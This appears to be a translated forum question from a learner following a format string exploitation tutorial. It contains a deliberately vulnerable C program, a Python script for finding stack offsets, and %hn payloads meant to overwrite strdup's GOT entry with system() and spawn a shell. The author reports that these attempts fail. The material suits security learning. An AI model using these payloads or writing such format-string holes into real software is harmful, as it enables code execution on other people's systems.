我正在关注this关于格式字符串漏洞的教程。
这不仅与本教程有关,而且在每篇教程中,我都可以崩溃程序并从堆栈中读取,但是我无法对其进行写操作。我只是解释一下我为此做的事情:
源代码:
#include <stdio.h>
#include <string.h>
// compile with gcc -m32 temp.c
int main(int argc, char** argv) {
printf(argv[1]);
strdup(argv[1]);
}
编译:
gcc app.c -m32 -fno-stack-protector -Wno-format-security -Wno-pie -no-pie
我使用第3节所述的 -Wno-pie -no-pie 的原因。
我写了一个简单的python脚本来查找偏移量:
from os import system
command = "./a.out 'sh;#AAAABBBB%00000x%{o1}$hp%00000x%{o2}$hp' >> out.txt"
space = "echo '\n{offset}' >> out.txt"
repeat = 2000
for i in range(repeat):
system(command.format(o1=i+1, o2=i+2))
system(space.format(offset=i+1))
通过运行脚本,我发现177和178是正确的偏移量(尽管我认为它们不是完全正确的偏移量,但0x42414141必须为0x41414141,0x25424242必须为0x42424242):
➜ ./a.out 'sh;#AAAABBBB%00000x%177$hp%00000x%178$hp'
sh;#AAAABBBB00x42414141ffffcfc00x25424242%
第一次尝试是这样的:
000003e0 <strdup@plt>:
3e0: ff a3 10 00 00 00 jmp *0x10(%ebx)
3e6: 68 08 00 00 00 push $0x8
3eb: e9 d0 ff ff ff jmp 3c0 <.plt>
但是在教程中,地址是直接的。所以我搜索并确定是否可以使用- Won-pie no-pie 进行编译,我可以直接获取地址:
08048310 <strdup@plt>:
8048310: ff 25 10 a0 04 08 jmp *0x804a010
8048316: 68 08 00 00 00 push $0x8
804831b: e9 d0 ff ff ff jmp 80482f0 <.plt>
好,因此较低的strdup地址为: 0x804a010 ,较高的地址为 0x804a012
禁用ASLR:
➜ ulimit -s unlimited
并严格按照本教程的内容进行操作
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x2a8a7200 <system>
好,现在我将系统地址( 0x2a8a7200 )分为两部分,并将它们转换为十进制:
>>> 0x7200 - 12
29172
>>> 0x2a8a - 0x7200
-18294
奇怪的是第二个值是负数,我不知道该如何处理。 无论如何,这是我的成果攻击力:
➜ ./a.out 'sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%-18294x%178$hn'
即使是积极的18294:
➜ ./a.out 'sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%18294x%178$hn'
运行这两个命令后,没有任何反应(没有错误,没有外壳)。 而以下漏洞利用会带来细分错误:
➜ ./a.out "$(python -c 'import sys;
sys.stdout.write("sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%-18294x%178$hn")')"
并且:
➜ ./a.out "$(python -c 'import sys;
sys.stdout.write("sh;#\x10\xa0\x04\x08\x12\xa0\x04\x08%29172x%177$hn%-18294x%178$hn")')"
我有一台64位的Linux Mint 19.1 Lenovo笔记本电脑。